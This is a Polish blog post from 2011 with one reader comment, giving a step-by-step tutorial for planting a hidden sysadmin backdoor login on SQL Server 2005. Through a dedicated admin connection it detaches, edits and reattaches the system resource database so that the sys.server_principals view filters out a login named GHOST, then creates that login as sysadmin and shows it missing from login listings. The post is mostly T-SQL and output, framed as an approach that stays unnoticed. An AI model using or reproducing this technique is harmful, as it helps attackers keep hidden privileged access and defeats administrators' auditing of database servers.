poniedziałek, 14 lutego 2011

backdoor

Dodanie bazy mssqlsystemresource do SQL 2005 zwiększyło bezpieczeństwo kodu systemowego, trzeba się trochę pobawić żeby go zmienic.
Dobrym przykładem możliwości zmiany kodu jest widok sys.server_principals, który jest używany praktycznie przy wszystkich prezentowaniach informacji o loginach serwera.
Sam Microsoft uczy nas, ukrywając przed nami bazę mssqlsystemresource używając w widokach filtra WHERE d.id < 0x7fff, że można robić to z powodzeniem. Dodając do widoku dodatkowy filtr na nasz login mamy backdoora.
Wchodzimy do folderu z bazami systemowymi i kopiujemy pliki bazy mssqlsystemresource, dodatkową ciekawostką jest to, że możemy zrobić to przy pracującej bazie ponieważ serwer nie blokuje plików zakładając, że są one tylko do odczytu, wklejamy pliki w innej lokalizacji i podpinamy je pod inną nazwą

USE [master]
GO
CREATE DATABASE [RK_mssqlsystemresource] ON
( FILENAME = N'D:\mssqlserver\MSSQL.1\MSSQL\mssqlsystemresource.mdf' ),
( FILENAME = N'D:\mssqlserver\MSSQL.1\MSSQL\mssqlsystemresource.ldf' )
 FOR ATTACH
GO
Logujemy się na serwer przy pomocy DAC i przełączamy bazę w tryb edycji

sp_dboption 'RK_mssqlsystemresource' , 'Read_Only' , 'false'          

Przechodzimy do naszej nowej bazy

USE RK_mssqlsystemresource

Zmieniamy widok

CREATE VIEW sys.server_principals AS
      SELECT p.name,
            p.id AS principal_id,
            p.sid, p.type,
            n.name AS type_desc,
            is_disabled = sysconv(bit, p.status & 0x80),
            p.crdate AS create_date,
            p.modate AS modify_date,
            p.dbname AS default_database_name,
            p.lang AS default_language_name,
            r.indepid AS credential_id
      FROM master.sys.sysxlgns p
      LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type
      LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0      -- SRC_LOGIN_CREDENTIAL
      WHERE has_access('LG', p.id) = 1
            AND p.NAME <> 'GHOST'
            AND p.type <> 'M' -- exclude component logins


Msg 195, Level 15, State 10, Procedure server_principals, Line 6
'sysconv' is not a recognized built-in function name.

W systemowych obiektach używane są wewnętrzne funkcje których parser nie widzi, zamieniamy sysconv na convert bo wydaje się że działają identycznie, has_access nie będzie nam potrzebny ;)

ALTER VIEW [sys].[server_principals] AS
      SELECT p.name,
            p.id AS principal_id,
            p.sid, p.type,
            n.name AS type_desc,
            is_disabled = convert(bit, p.status & 0x80),
            p.crdate AS create_date,
            p.modate AS modify_date,
            p.dbname AS default_database_name,
            p.lang AS default_language_name,
            r.indepid AS credential_id
      FROM master.sys.sysxlgns p
      LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type
      LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0      -- SRC_LOGIN_CREDENTIAL
      WHERE --has_access('LG', p.id) = 1
                p.NAME <> 'GHOST'
            AND p.type <> 'M' -- exclude component logins

Poszło, zmieniamy tryb edycji i odpinamy bazę RK_mssqlsystemresource

sp_dboption 'RK_mssqlsystemresource' , 'Read_Only' , 'true'
GO
EXEC master.dbo.sp_detach_db @dbname = N'RK_mssqlsystemresource'

Nadgrywamy pliki na oryginalne pliki bazy mssqlsystemresource i zakładamy ducha.

CREATE LOGIN GHOST WITH PASSWORD=N'bardzo trudne hasło', CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
EXEC master..sp_addsrvrolemember
@loginame = N'GHOST',
@rolename = N'sysadmin'
GO

Sprawdzamy widok

sp_helptext 'sys.server_principals'

CREATE VIEW [sys].[server_principals] AS
       SELECT p.name,
             p.id AS principal_id,
             p.sid, p.type,
             n.name AS type_desc,
             is_disabled = convert(bit, p.status & 0x80),
             p.crdate AS create_date,
             p.modate AS modify_date,
             p.dbname AS default_database_name,
             p.lang AS default_language_name,
             r.indepid AS credential_id
       FROM master.sys.sysxlgns p
       LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type
       LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0 -- SRC_LOGIN_CREDENTIAL
       WHERE --has_access('LG', p.id) = 1
                 p.NAME <> 'GHOST'
             AND p.type <> 'M' -- exclude component logins

No to teraz szukamy nasz login

SELECT name FROM sys.syslogins
WHERE name =N'GHOST'

name
---------------------

(0 row(s) affected)




A login jest

SELECT SUSER_SNAME(),USER_NAME(),IS_SRVROLEMEMBER ('sysadmin')

---------------------
GHOST   dbo     1

Pozostanie tam niezauważony prawdopodobnie do czasu wgrywania następnego service pack

1 komentarz:

  1. Witam,

    Powyższy hack nie działa w SQL 2005 SP4. Odpalenie podanej komendy ALTER VIEW w DAC nie powoduje zmian w widoku (pomimo, że komenda jest uznana za prawidłową). Czyżby to było zabezpieczone? Odpalenie komendy w SSMS zwraca (naturalnie) "Invalid object name 'master.sys.sysxlgns'." Ciekawie zachowuje się DROP VIEW: powoduje, że widok staje się niewidoczny (np. dla ALTER), ale sp_helptext nadal go znajduje. Dla wiadmości: podłączyłem się do DAC przy użyciu: sqlcmd -S .\sql2005 -A -d RK_mssqlsystemresource

    OdpowiedzUsuń